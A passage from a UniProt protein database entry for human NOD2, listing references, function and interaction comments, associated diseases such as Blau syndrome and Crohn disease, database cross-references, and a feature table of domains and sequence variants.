RT "Sporadic Blau syndrome with onset of widespread granulomatous
RT dermatitis in the newborn period.";
RL Pediatr. Dermatol. 27:69-73(2010).
RN [25]
RP VARIANT BLAUS SER-507.
RX PubMed=25692065; DOI=10.1155/2015/463959;
RA Zeybek C., Basbozkurt G., Gul D., Demirkaya E., Gok F.;
RT "A new mutation in blau syndrome.";
RL Case Rep. Rheumatol. 2015:463959-463959(2015).
RN [26]
RP VARIANT BLAUS GLN-334, AND VARIANT SER-268.
RX PubMed=25724124; DOI=10.1016/j.jaci.2014.12.1941;
RA de Inocencio J., Mensa-Vilaro A., Tejada-Palacios P.,
RA Enriquez-Merayo E., Gonzalez-Roca E., Magri G., Ruiz-Ortiz E.,
RA Cerutti A., Yaguee J., Arostegui J.I.;
RT "Somatic NOD2 mosaicism in Blau syndrome.";
RL J. Allergy Clin. Immunol. 0:0-0(2015).
CC -!- FUNCTION: Involved in gastrointestinal immunity. Upon stimulation
CC by muramyl dipeptide (MDP), a fragment of bacterial peptidoglycan,
CC binds the proximal adapter receptor-interacting RIPK2, which
CC recruits ubiquitin ligases as XIAP, BIRC2, BIRC3 and the LUBAC
CC complex, triggering activation of MAP kinases and activation of
CC NF-kappa-B signaling. This in turn leads to the transcriptional
CC activation of hundreds of genes involved in immune response.
CC Required for MDP-induced NLRP1-dependent CASP1 activation and IL1B
CC release in macrophages (PubMed:18511561).
CC {ECO:0000269|PubMed:18511561, ECO:0000269|PubMed:23806334}.
CC -!- SUBUNIT: Component of a signaling complex consisting of ARHGEF2,
CC NOD2 and RIPK2 (PubMed:21887730). Interacts (via CARD domain) with
CC RIPK2 (via CARD domain) (PubMed:19592251, PubMed:21887730).
CC Interacts with ATG16L1 (PubMed:23376921). Interacts (via NACHT
CC domain) with CARD9 (PubMed:24960071). Interacts with ANKRD17 (via
CC N-terminus) (PubMed:23711367). Interacts with HSPA1A; the
CC interaction enhances NOD2 stability (PubMed:24790089). Interacts
CC (via both CARD domains) with HSP90; the interaction enhances NOD2
CC stability (PubMed:23019338). Interacts (via CARD domain) with
CC SOCS3; the interaction promotes NOD2 degradation
CC (PubMed:23019338). Interacts (via CARD domain) with ERBBI2P; the
CC interaction inhibits activation of NOD2 (PubMed:16203728).
CC Interacts (via CARD domain) with CASP1; this interaction leads to
CC IL1B processing. Also interacts with CASP4. Interacts with NLRP1;
CC this interaction is enhanced in the presence of muramyl dipeptide
CC (MDP) and leads to increased IL1B release (PubMed:18511561).
CC {ECO:0000269|PubMed:16203728, ECO:0000269|PubMed:18511561,
CC ECO:0000269|PubMed:19592251, ECO:0000269|PubMed:21887730,
CC ECO:0000269|PubMed:23019338, ECO:0000269|PubMed:23376921,
CC ECO:0000269|PubMed:23711367, ECO:0000269|PubMed:24790089,
CC ECO:0000269|PubMed:24960071}.
CC -!- INTERACTION:
CC Q96RT1:ERBB2IP; NbExp=4; IntAct=EBI-7445625, EBI-993903;
CC Q96RT1-2:ERBB2IP; NbExp=5; IntAct=EBI-7445625, EBI-8449250;
CC Q9Y3D6:FIS1; NbExp=2; IntAct=EBI-7445625, EBI-3385283;
CC Q10471:GALNT2; NbExp=2; IntAct=EBI-7445625, EBI-10226985;
CC Q92993:KAT5; NbExp=2; IntAct=EBI-7445625, EBI-399080;
CC Q9P0J0:NDUFA13; NbExp=6; IntAct=EBI-7445625, EBI-372742;
CC Q16537:PPP2R5E; NbExp=2; IntAct=EBI-7445625, EBI-968374;
CC O43353:RIPK2; NbExp=2; IntAct=EBI-7445625, EBI-358522;
CC Q04724:TLE1; NbExp=2; IntAct=EBI-7445625, EBI-711424;
CC P14373:TRIM27; NbExp=10; IntAct=EBI-7445625, EBI-719493;
CC P08670:VIM; NbExp=7; IntAct=EBI-7445625, EBI-353844;
CC -!- SUBCELLULAR LOCATION: Cytoplasm {ECO:0000269|PubMed:24790089,
CC ECO:0000269|PubMed:25093298}. Membrane
CC {ECO:0000269|PubMed:25093298}. Basolateral cell membrane
CC {ECO:0000269|PubMed:16203728}.
CC -!- ALTERNATIVE PRODUCTS:
CC Event=Alternative initiation; Named isoforms=3;
CC Name=1; Synonyms=Nod2;
CC IsoId=Q9HC29-1; Sequence=Displayed;
CC Note=Can activate NF-kappa-B. More abundant.;
CC Name=2; Synonyms=Nod2b;
CC IsoId=Q9HC29-2; Sequence=VSP_018689;
CC Note=Can activate NF-kappa-B.;
CC Name=3; Synonyms=NOD2-C2;
CC IsoId=Q9HC29-3; Sequence=VSP_018689, VSP_046567, VSP_046568;
CC Note=Can activate NF-kappa-B.;
CC -!- TISSUE SPECIFICITY: Monocytes-specific.
CC -!- DOMAIN: The ATG16L1-binding motif mediates interaction with
CC ATG16L1. {ECO:0000269|PubMed:23376921}.
CC -!- DOMAIN: Intramolecular interactions between the N-terminal moiety
CC and the leucine-rich repeats (LRR) may be important for
CC autoinhibition in the absence of activating signal. In the absence
CC of LRRs, the protein becomes a constitutive activator of CASP1
CC cleavage and proIL1B processing. {ECO:0000269|PubMed:18511561}.
CC -!- PTM: Polyubiquitinated following MDP stimulation, leading to
CC proteasome-mediated degradation (PubMed:23019338).
CC {ECO:0000269|PubMed:23019338}.
CC -!- DISEASE: Blau syndrome (BLAUS) [MIM:186580]: A rare autosomal
CC dominant disorder characterized by early-onset granulomatous
CC arthritis, uveitis and skin rash. {ECO:0000269|PubMed:11528384,
CC ECO:0000269|PubMed:15812565, ECO:0000269|PubMed:19116920,
CC ECO:0000269|PubMed:19169908, ECO:0000269|PubMed:19479837,
CC ECO:0000269|PubMed:20199415, ECO:0000269|PubMed:24960071,
CC ECO:0000269|PubMed:25093298, ECO:0000269|PubMed:25692065,
CC ECO:0000269|PubMed:25724124}. Note=The disease is caused by
CC mutations affecting the gene represented in this entry.
CC -!- DISEASE: Inflammatory bowel disease 1 (IBD1) [MIM:266600]: A
CC chronic, relapsing inflammation of the gastrointestinal tract with
CC a complex etiology. It is subdivided into Crohn disease and
CC ulcerative colitis phenotypes. Crohn disease may affect any part
CC of the gastrointestinal tract from the mouth to the anus, but most
CC frequently it involves the terminal ileum and colon. Bowel
CC inflammation is transmural and discontinuous; it may contain
CC granulomas or be associated with intestinal or perianal fistulas.
CC In contrast, in ulcerative colitis, the inflammation is continuous
CC and limited to rectal and colonic mucosal layers; fistulas and
CC granulomas are not observed. Both diseases include extraintestinal
CC inflammation of the skin, eyes, or joints.
CC {ECO:0000269|PubMed:11385576}. Note=Disease susceptibility is
CC associated with variations affecting the gene represented in this
CC entry.
CC -!- DISEASE: Sarcoidosis early-onset (EOS) [MIM:609464]: A form of
CC sarcoidosis manifesting in children younger than 4 years of age.
CC Sarcoidosis is an idiopathic, systemic, inflammatory disease
CC characterized by the formation of immune granulomas in involved
CC organs. Granulomas predominantly invade the lungs and the
CC lymphatic system, but also skin, liver, spleen, eyes and other
CC organs may be involved. Early-onset sarcoidosis is quite rare and
CC has a distinct triad of skin, joint and eye disorders, without
CC apparent pulmonary involvement. Compared with an asymptomatic and
CC sometimes naturally disappearing course of the disease in older
CC children, early-onset sarcoidosis is progressive and in many cases
CC causes severe complications, such as blindness, joint destruction
CC and visceral involvement. {ECO:0000269|PubMed:15459013,
CC ECO:0000269|PubMed:19116920, ECO:0000269|PubMed:19359344,
CC ECO:0000269|PubMed:25093298}. Note=The disease is caused by
CC mutations affecting the gene represented in this entry.
CC -!- SIMILARITY: Contains 2 CARD domains. {ECO:0000255|PROSITE-
CC ProRule:PRU00046}.
CC -!- SIMILARITY: Contains 9 LRR (leucine-rich) repeats. {ECO:0000305}.
CC -!- SIMILARITY: Contains 1 NACHT domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00136}.
CC -!- WEB RESOURCE: Name=INFEVERS; Note=Repertory of FMF and hereditary
CC autoinflammatory disorders mutations;
CC URL="http://fmf.igh.cnrs.fr/ISSAID/infevers/search.php?n=6";
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DR EMBL; AF178930; AAG33677.1; -; mRNA.
DR EMBL; AF385089; AAK70867.1; -; Genomic_DNA.
DR EMBL; AF385090; AAK70868.1; -; Genomic_DNA.
DR EMBL; AJ303140; CAC42117.1; -; Genomic_DNA.
DR EMBL; HQ204571; ADN95581.1; -; mRNA.
DR CCDS; CCDS10746.1; -. [Q9HC29-1]
DR RefSeq; NP_001280486.1; NM_001293557.1. [Q9HC29-2]
DR RefSeq; NP_071445.1; NM_022162.2. [Q9HC29-1]
DR RefSeq; XP_005256141.1; XM_005256084.3. [Q9HC29-2]
DR UniGene; Hs.592072; -.
DR ProteinModelPortal; Q9HC29; -.
DR SMR; Q9HC29; 291-316, 747-1029.
DR BioGrid; 122077; 33.
DR DIP; DIP-41998N; -.
DR IntAct; Q9HC29; 15.
DR MINT; MINT-151071; -.
DR STRING; 9606.ENSP00000300589; -.
DR BindingDB; Q9HC29; -.
DR ChEMBL; CHEMBL1293266; -.
DR GuidetoPHARMACOLOGY; 1763; -.
DR iPTMnet; Q9HC29; -.
DR PhosphoSite; Q9HC29; -.
DR BioMuta; NOD2; -.
DR DMDM; 20137973; -.
DR EPD; Q9HC29; -.
DR PaxDb; Q9HC29; -.
DR PeptideAtlas; Q9HC29; -.
DR PRIDE; Q9HC29; -.
DR DNASU; 64127; -.
DR Ensembl; ENST00000300589; ENSP00000300589; ENSG00000167207. [Q9HC29-1]
DR GeneID; 64127; -.
DR KEGG; hsa:64127; -.
DR UCSC; uc002egm.2; human. [Q9HC29-1]
DR CTD; 64127; -.
DR GeneCards; NOD2; -.
DR HGNC; HGNC:5331; NOD2.
DR HPA; HPA041985; -.
DR MalaCards; NOD2; -.
DR MIM; 186580; phenotype.
DR MIM; 266600; phenotype.
DR MIM; 605956; gene.
DR MIM; 609464; phenotype.
DR neXtProt; NX_Q9HC29; -.
DR Orphanet; 117; Behcet disease.
DR Orphanet; 90340; Blau syndrome.
DR Orphanet; 206; Crohn disease.
DR Orphanet; 771; Ulcerative colitis.
DR PharmGKB; PA26074; -.
DR eggNOG; KOG4308; Eukaryota.
DR eggNOG; ENOG410ZBX3; LUCA.
DR GeneTree; ENSGT00840000129782; -.
DR HOGENOM; HOG000113814; -.
DR HOVERGEN; HBG050792; -.
DR InParanoid; Q9HC29; -.
DR KO; K10165; -.
DR OMA; FDEFKFR; -.
DR OrthoDB; EOG091G01CG; -.
DR PhylomeDB; Q9HC29; -.
DR TreeFam; TF352118; -.
DR Reactome; R-HSA-168638; NOD1/2 Signaling Pathway.
DR Reactome; R-HSA-445989; TAK1 activates NFkB by phosphorylation and activation of IKKs complex.
DR Reactome; R-HSA-446652; Interleukin-1 signaling.
DR Reactome; R-HSA-450302; activated TAK1 mediates p38 MAPK activation.
DR Reactome; R-HSA-450321; JNK (c-Jun kinases) phosphorylation and activation mediated by activated human TAK1.
DR SignaLink; Q9HC29; -.
DR GeneWiki; NOD2; -.
DR GenomeRNAi; 64127; -.
DR PRO; PR:Q9HC29; -.
DR Proteomes; UP000005640; Chromosome 16.
DR Bgee; ENSG00000167207; -.
DR CleanEx; HS_NOD2; -.
DR ExpressionAtlas; Q9HC29; baseline and differential.
DR Genevisible; Q9HC29; HS.
DR GO; GO:0016323; C:basolateral plasma membrane; IDA:UniProtKB.
DR GO; GO:0009986; C:cell surface; IDA:UniProtKB.
DR GO; GO:0005737; C:cytoplasm; IDA:UniProtKB.
DR GO; GO:0005856; C:cytoskeleton; IDA:UniProtKB.
DR GO; GO:0005829; C:cytosol; IDA:HGNC.
DR GO; GO:0005886; C:plasma membrane; IDA:UniProtKB.
DR GO; GO:0043234; C:protein complex; IDA:UniProtKB.
DR GO; GO:0031982; C:vesicle; IDA:UniProtKB.
DR GO; GO:0003779; F:actin binding; IDA:UniProtKB.
DR GO; GO:0005524; F:ATP binding; IEA:UniProtKB-KW.
DR GO; GO:0050700; F:CARD domain binding; IPI:UniProtKB.
DR GO; GO:0019899; F:enzyme binding; IPI:UniProtKB.
DR GO; GO:0030544; F:Hsp70 protein binding; IPI:UniProtKB.
DR GO; GO:0051879; F:Hsp90 protein binding; IDA:UniProtKB.
DR GO; GO:0032500; F:muramyl dipeptide binding; IDA:HGNC.
DR GO; GO:0042834; F:peptidoglycan binding; IDA:HGNC.
DR GO; GO:0019901; F:protein kinase binding; IPI:UniProtKB.
DR GO; GO:0000187; P:activation of MAPK activity; TAS:Reactome.
DR GO; GO:0035419; P:activation of MAPK activity involved in innate immune response; ISS:BHF-UCL.
DR GO; GO:0071225; P:cellular response to muramyl dipeptide; IDA:UniProtKB.
DR GO; GO:0002367; P:cytokine production involved in immune response; IMP:UniProtKB.
DR GO; GO:0002374; P:cytokine secretion involved in immune response; IMP:CACAO.
DR GO; GO:0006952; P:defense response; TAS:HGNC.
DR GO; GO:0042742; P:defense response to bacterium; IDA:HGNC.
DR GO; GO:0016045; P:detection of bacterium; IDA:HGNC.
DR GO; GO:0009595; P:detection of biotic stimulus; TAS:HGNC.
DR GO; GO:0032498; P:detection of muramyl dipeptide; IDA:HGNC.
DR GO; GO:0045087; P:innate immune response; IDA:UniProtKB.
DR GO; GO:0035556; P:intracellular signal transduction; IDA:HGNC.
DR GO; GO:0007254; P:JNK cascade; TAS:Reactome.
DR GO; GO:0030277; P:maintenance of gastrointestinal epithelium; IMP:UniProtKB.
DR GO; GO:2000110; P:negative regulation of macrophage apoptotic process; ISS:BHF-UCL.
DR GO; GO:0070431; P:nucleotide-binding oligomerization domain containing 2 signaling pathway; IDA:UniProtKB.
DR GO; GO:0070423; P:nucleotide-binding oligomerization domain containing signaling pathway; TAS:Reactome.
DR GO; GO:0050871; P:positive regulation of B cell activation; IDA:BHF-UCL.
DR GO; GO:1900017; P:positive regulation of cytokine production involved in inflammatory response; IDA:CACAO.
DR GO; GO:0002606; P:positive regulation of dendritic cell antigen processing and presentation; ISS:BHF-UCL.
DR GO; GO:0050679; P:positive regulation of epithelial cell proliferation; ISS:BHF-UCL.
DR GO; GO:0070374; P:positive regulation of ERK1 and ERK2 cascade; ISS:BHF-UCL.
DR GO; GO:0046645; P:positive regulation of gamma-delta T cell activation; ISS:BHF-UCL.
DR GO; GO:0043123; P:positive regulation of I-kappaB kinase/NF-kappaB signaling; IDA:UniProtKB.
DR GO; GO:0032731; P:positive regulation of interleukin-1 beta production; IMP:BHF-UCL.
DR GO; GO:0050718; P:positive regulation of interleukin-1 beta secretion; IDA:HGNC.
DR GO; GO:0032733; P:positive regulation of interleukin-10 production; ISS:BHF-UCL.
DR GO; GO:0032740; P:positive regulation of interleukin-17 production; IMP:UniProtKB.
DR GO; GO:0032755; P:positive regulation of interleukin-6 production; IDA:BHF-UCL.
DR GO; GO:0032757; P:positive regulation of interleukin-8 production; IMP:UniProtKB.
DR GO; GO:0046330; P:positive regulation of JNK cascade; IDA:MGI.
DR GO; GO:0051092; P:positive regulation of NF-kappaB transcription factor activity; IDA:UniProtKB.
DR GO; GO:1901224; P:positive regulation of NIK/NF-kappaB signaling; IMP:UniProtKB.
DR GO; GO:0051770; P:positive regulation of nitric-oxide synthase biosynthetic process; ISS:BHF-UCL.
DR GO; GO:0045747; P:positive regulation of Notch signaling pathway; ISS:BHF-UCL.
DR GO; GO:0051353; P:positive regulation of oxidoreductase activity; ISS:BHF-UCL.
DR GO; GO:0043552; P:positive regulation of phosphatidylinositol 3-kinase activity; ISS:BHF-UCL.
DR GO; GO:2000363; P:positive regulation of prostaglandin-E synthase activity; ISS:BHF-UCL.
DR GO; GO:0060585; P:positive regulation of prostaglandin-endoperoxide synthase activity; ISS:BHF-UCL.
DR GO; GO:0032874; P:positive regulation of stress-activated MAPK cascade; IDA:MGI.
DR GO; GO:0045944; P:positive regulation of transcription from RNA polymerase II promoter; IDA:UniProtKB.
DR GO; GO:0032760; P:positive regulation of tumor necrosis factor production; IMP:BHF-UCL.
DR GO; GO:0002830; P:positive regulation of type 2 immune response; IMP:BHF-UCL.
DR GO; GO:0051259; P:protein oligomerization; TAS:HGNC.
DR GO; GO:0050727; P:regulation of inflammatory response; IC:BHF-UCL.
DR GO; GO:0032495; P:response to muramyl dipeptide; IMP:UniProtKB.
DR Gene3D; 1.10.533.10; -; 2.
DR Gene3D; 3.80.10.10; -; 1.
DR InterPro; IPR001315; CARD.
DR InterPro; IPR011029; DEATH-like_dom.
DR InterPro; IPR032675; L_dom-like.
DR InterPro; IPR001611; Leu-rich_rpt.
DR InterPro; IPR007111; NACHT_NTPase.
DR InterPro; IPR027417; P-loop_NTPase.
DR Pfam; PF00619; CARD; 1.
DR Pfam; PF13516; LRR_6; 3.
DR SUPFAM; SSF47986; SSF47986; 2.
DR SUPFAM; SSF52540; SSF52540; 1.
DR PROSITE; PS50209; CARD; 2.
DR PROSITE; PS51450; LRR; 4.
DR PROSITE; PS50837; NACHT; 1.
PE 1: Evidence at protein level;
KW Alternative initiation; ATP-binding; Cell membrane; Complete proteome;
KW Cytoplasm; Disease mutation; Immunity; Innate immunity;
KW Leucine-rich repeat; Membrane; Nucleotide-binding; Polymorphism;
KW Reference proteome; Repeat; Ubl conjugation.
FT CHAIN 1 1040 Nucleotide-binding oligomerization
FT domain-containing protein 2.
FT /FTId=PRO_0000004418.
FT DOMAIN 26 122 CARD 1. {ECO:0000255|PROSITE-
FT ProRule:PRU00046}.
FT DOMAIN 126 218 CARD 2. {ECO:0000255|PROSITE-
FT ProRule:PRU00046}.
FT DOMAIN 293 618 NACHT. {ECO:0000255|PROSITE-
FT ProRule:PRU00136}.
FT REPEAT 791 812 LRR 1.
FT REPEAT 816 839 LRR 2.
FT REPEAT 844 865 LRR 3.
FT REPEAT 872 884 LRR 4.
FT REPEAT 900 920 LRR 5.
FT REPEAT 928 949 LRR 6.
FT REPEAT 956 976 LRR 7.
FT REPEAT 984 1005 LRR 8.
FT REPEAT 1012 1032 LRR 9.
FT NP_BIND 299 306 ATP. {ECO:0000255|PROSITE-
FT ProRule:PRU00136}.
FT REGION 241 274 Required for CARD9 binding.
FT {ECO:0000269|PubMed:24960071}.
FT MOTIF 63 77 ATG16L1-binding motif.
FT VAR_SEQ 1 27 Missing (in isoform 2 and isoform 3).
FT {ECO:0000303|PubMed:11087742,
FT ECO:0000303|PubMed:20698950}.
FT /FTId=VSP_018689.
FT VAR_SEQ 216 224 AATCKKYMA -> DERTEAQKG (in isoform 3).
FT {ECO:0000303|PubMed:20698950}.
FT /FTId=VSP_046567.
FT VAR_SEQ 225 1040 Missing (in isoform 3).
FT {ECO:0000303|PubMed:20698950}.
FT /FTId=VSP_046568.
FT VARIANT 81 81 L -> V (in dbSNP:rs34936594).
FT /FTId=VAR_036871.
FT VARIANT 113 113 D -> N (found in a patient with Crohn
FT disease; unknown pathological
FT significance; dbSNP:rs104895468).
FT {ECO:0000269|PubMed:15024686}.
FT /FTId=VAR_073228.
FT VARIANT 140 140 A -> T (associated with Crohn disease and
FT ulcerative colitis; dbSNP:rs34684955).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012665.
FT VARIANT 157 157 W -> R (associated with Crohn disease;
FT dbSNP:rs104895420).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012666.
FT VARIANT 189 189 T -> M (in dbSNP:rs61755182).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012667.
FT VARIANT 235 235 R -> C (associated with Crohn disease;
FT dbSNP:rs104895422).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012668.
FT VARIANT 248 248 L -> R (associated with Crohn disease; no
FT disruption of NOD2-CARD9 interaction;
FT dbSNP:rs104895423).
FT {ECO:0000269|PubMed:11385576,
FT ECO:0000269|PubMed:24960071}.
FT /FTId=VAR_012669.
FT VARIANT 268 268 P -> S (in dbSNP:rs2066842).
FT {ECO:0000269|PubMed:11385576,
FT ECO:0000269|PubMed:16485124,
FT ECO:0000269|PubMed:25724124}.
FT /FTId=VAR_012670.
FT VARIANT 289 289 N -> S (in dbSNP:rs5743271).
FT {ECO:0000269|PubMed:11385576,
FT ECO:0000269|PubMed:16485124}.
FT /FTId=VAR_012671.
FT VARIANT 291 291 D -> N (associated with Crohn disease;
FT dbSNP:rs104895424).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012672.
FT VARIANT 294 294 T -> S (associated with Crohn disease;
FT dbSNP:rs104895425).
FT /FTId=VAR_012673.
FT VARIANT 301 301 A -> V (associated with Crohn disease;
FT dbSNP:rs104895426).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012674.
FT VARIANT 311 311 R -> W (associated with Crohn disease and
FT ulcerative colitis; dbSNP:rs104895427).
FT {ECO:0000269|PubMed:11385576,
FT ECO:0000269|PubMed:16485124}.
FT /FTId=VAR_012675.
FT VARIANT 334 334 R -> Q (in BLAUS; somatic mosaicism in
FT 4.9% to 11% of peripheral blood cells;
FT hyperactive; dbSNP:rs104895461).
FT {ECO:0000269|PubMed:11528384,
FT ECO:0000269|PubMed:19116920,
FT ECO:0000269|PubMed:19479837,
FT ECO:0000269|PubMed:25093298,
FT ECO:0000269|PubMed:25724124}.
FT /FTId=VAR_012676.
FT VARIANT 334 334 R -> W (in BLAUS and EOS; no disruption
FT of NOD2-CARD9 interaction; hyperactive;
FT dbSNP:rs104895462).
FT {ECO:0000269|PubMed:11528384,
FT ECO:0000269|PubMed:15459013,
FT ECO:0000269|PubMed:19116920,
FT ECO:0000269|PubMed:19479837,
FT ECO:0000269|PubMed:20199415,
FT ECO:0000269|PubMed:24960071,
FT ECO:0000269|PubMed:25093298}.
FT /FTId=VAR_012677.
FT VARIANT 348 348 L -> V (associated with Crohn disease;
FT dbSNP:rs104895428).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012678.
FT VARIANT 352 352 H -> R (associated with Crohn disease;
FT dbSNP:rs5743272).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012679.
FT VARIANT 357 357 D -> A (found in a patient with Crohn
FT disease; unknown pathological
FT significance; no disruption of NOD2-CARD9
FT interaction; dbSNP:rs104895469).
FT {ECO:0000269|PubMed:15024686,
FT ECO:0000269|PubMed:24960071}.
FT /FTId=VAR_073229.
FT VARIANT 363 363 I -> F (found in a patient with Crohn
FT disease; unknown pathological
FT significance; no disruption of NOD2-CARD9
FT interaction; dbSNP:rs104895470).
FT {ECO:0000269|PubMed:15024686,
FT ECO:0000269|PubMed:24960071}.
FT /FTId=VAR_073230.
FT VARIANT 373 373 R -> C (associated with Crohn disease;
FT dbSNP:rs145293873).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012680.
FT VARIANT 382 382 D -> E (in EOS; hyperactive;
FT dbSNP:rs104895476).
FT {ECO:0000269|PubMed:15459013,
FT ECO:0000269|PubMed:19116920}.
FT /FTId=VAR_023822.
FT VARIANT 383 383 E -> G (found in a family with Blau
FT syndrome/early-onset sarcoidosis
FT symptoms; unknown pathological
FT significance; hyperactive;
FT dbSNP:rs104895493).
FT {ECO:0000269|PubMed:19116920,
FT ECO:0000269|PubMed:25093298}.
FT /FTId=VAR_073231.
FT VARIANT 383 383 E -> K (in BLAUS; hyperactive;
FT dbSNP:rs104895477).
FT {ECO:0000269|PubMed:15812565,
FT ECO:0000269|PubMed:19479837,
FT ECO:0000269|PubMed:25093298}.
FT /FTId=VAR_023823.
FT VARIANT 391 391 R -> C (in dbSNP:rs104895481).
FT {ECO:0000269|PubMed:16485124}.
FT /FTId=VAR_073232.
FT VARIANT 414 414 N -> S (associated with Crohn disease;
FT dbSNP:rs104895429).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012681.
FT VARIANT 431 431 S -> L (associated with Crohn disease; no
FT disruption of NOD2-CARD9 interaction;
FT dbSNP:rs104895431).
FT {ECO:0000269|PubMed:11385576,
FT ECO:0000269|PubMed:24960071}.
FT /FTId=VAR_012682.
FT VARIANT 432 432 A -> V (associated with Crohn disease;
FT dbSNP:rs2076754).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012683.
FT VARIANT 441 441 E -> K (associated with Crohn disease; no
FT disruption of NOD2-CARD9 interaction;
FT dbSNP:rs104895432).
FT {ECO:0000269|PubMed:11385576,
FT ECO:0000269|PubMed:24960071}.
FT /FTId=VAR_012684.
FT VARIANT 463 463 P -> A (polymorphism; no disruption of
FT NOD2-CARD9 interaction;
FT dbSNP:rs104895482).
FT {ECO:0000269|PubMed:16485124,
FT ECO:0000269|PubMed:24960071}.
FT /FTId=VAR_073233.
FT VARIANT 464 464 G -> W (polymorphism; hyperactive;
FT dbSNP:rs104895492).
FT {ECO:0000269|PubMed:25093298}.
FT /FTId=VAR_073234.
FT VARIANT 469 469 L -> F (in BLAUS; hyperactive;
FT dbSNP:rs104895460).
FT {ECO:0000269|PubMed:11528384,
FT ECO:0000269|PubMed:25093298}.
FT /FTId=VAR_012685.
FT VARIANT 471 471 R -> C (polymorphism; does not affect
FT activity; dbSNP:rs1078327).
FT {ECO:0000269|PubMed:25093298}.
FT /FTId=VAR_036872.
FT VARIANT 481 481 G -> D (in EOS; atypical form of EOS with
FT cardiac infiltration; sporadic case;
FT unknown pathological significance;
FT hyperactive; dbSNP:rs104895494).
FT {ECO:0000269|PubMed:19359344,
FT ECO:0000269|PubMed:25093298}.
FT /FTId=VAR_073235.
FT VARIANT 490 490 W -> L (in BLAUS; unknown pathological
FT significance; hyperactive;
FT dbSNP:rs104895480).
FT {ECO:0000269|PubMed:19479837,
FT ECO:0000269|PubMed:25093298}.
FT /FTId=VAR_073236.
FT VARIANT 495 495 C -> Y (in BLAUS; unknown pathological
FT significance; hyperactive;
FT dbSNP:rs104895478).
FT {ECO:0000269|PubMed:19116920,
FT ECO:0000269|PubMed:19479837,
FT ECO:0000269|PubMed:25093298}.
FT /FTId=VAR_073237.
FT VARIANT 496 496 H -> L (in EOS; hyperactive;
FT dbSNP:rs104895472).
FT {ECO:0000269|PubMed:15459013,
FT ECO:0000269|PubMed:19116920,
FT ECO:0000269|PubMed:25093298}.
FT /FTId=VAR_023824.
FT VARIANT 507 507 P -> S (in BLAUS).
FT {ECO:0000269|PubMed:25692065}.
FT /FTId=VAR_073180.
FT VARIANT 513 513 M -> T (in EOS; hyperactive;
FT dbSNP:rs104895473).
FT {ECO:0000269|PubMed:15459013,
FT ECO:0000269|PubMed:19116920,
FT ECO:0000269|PubMed:25093298}.
FT /FTId=VAR_073238.
FT VARIANT 550 550 L -> V (found in a patient with Crohn
FT disease; unknown pathological
FT significance; no disruption of NOD2-CARD9
FT interaction; dbSNP:rs104895471).
FT {ECO:0000269|PubMed:15024686,
FT ECO:0000269|PubMed:24960071}.
FT /FTId=VAR_073239.
FT VARIANT 587 587 R -> C (in BLAUS; unknown pathological
FT significance; not hyperactive;
FT dbSNP:rs104895479).
FT {ECO:0000269|PubMed:19479837,
FT ECO:0000269|PubMed:25093298}.
FT /FTId=VAR_073240.
FT VARIANT 605 605 T -> N (in BLAUS; hyperactive).
FT {ECO:0000269|PubMed:19169908,
FT ECO:0000269|PubMed:25093298}.
FT /FTId=VAR_065228.
FT VARIANT 605 605 T -> P (in EOS; hyperactive;
FT dbSNP:rs104895474).
FT {ECO:0000269|PubMed:15459013,
FT ECO:0000269|PubMed:19116920,
FT ECO:0000269|PubMed:25093298}.
FT /FTId=VAR_073241.
FT VARIANT 612 612 A -> T (in EOS; associated with Crohn
FT disease; dbSNP:rs104895438).
FT {ECO:0000269|PubMed:11385576,
FT ECO:0000269|PubMed:15459013}.
FT /FTId=VAR_012686.
FT VARIANT 612 612 A -> V (associated with Crohn disease; no
FT disruption of NOD2-CARD9 interaction;
FT dbSNP:rs104895439).
FT {ECO:0000269|PubMed:11385576,
FT ECO:0000269|PubMed:24960071}.
FT /FTId=VAR_012687.
FT VARIANT 670 670 N -> K (in EOS; hyperactive;
FT dbSNP:rs104895475).
FT {ECO:0000269|PubMed:15459013,
FT ECO:0000269|PubMed:19116920,
FT ECO:0000269|PubMed:25093298}.
FT /FTId=VAR_073242.
FT VARIANT 684 684 R -> W (associated with Crohn disease;
FT dbSNP:rs5743276).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012688.
FT VARIANT 702 702 R -> W (associated with Crohn disease; no
FT disruption of NOD2-CARD9 interaction;
FT decreases half-life of protein;
FT dbSNP:rs2066844).
FT {ECO:0000269|PubMed:11385576,
FT ECO:0000269|PubMed:24790089,
FT ECO:0000269|PubMed:24960071}.
FT /FTId=VAR_012689.
FT VARIANT 703 703 R -> C (associated with Crohn disease and
FT ulcerative colitis; dbSNP:rs5743277).
FT {ECO:0000269|PubMed:11385576,
FT ECO:0000269|PubMed:16485124}.
FT /FTId=VAR_012690.
FT VARIANT 713 713 R -> C (associated with Crohn disease;
FT dbSNP:rs104895440).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012691.
FT VARIANT 713 713 R -> H (found in a patient with Crohn
FT disease; unknown pathological
FT significance; dbSNP:rs104895483).
FT {ECO:0000269|PubMed:16485124}.
FT /FTId=VAR_073243.
FT VARIANT 725 725 A -> G (associated with Crohn disease;
FT dbSNP:rs5743278).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012692.
FT VARIANT 755 755 A -> V (associated with Crohn disease and
FT ulcerative colitis; dbSNP:rs61747625).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012693.
FT VARIANT 758 758 A -> V (associated with Crohn disease;
FT dbSNP:rs104895442).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012694.
FT VARIANT 760 760 R -> C (found in a patient with Crohn
FT disease; unknown pathological
FT significance; dbSNP:rs3813758).
FT {ECO:0000269|PubMed:16485124}.
FT /FTId=VAR_073244.
FT VARIANT 778 778 E -> K (associated with Crohn disease;
FT dbSNP:rs104895443).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012695.
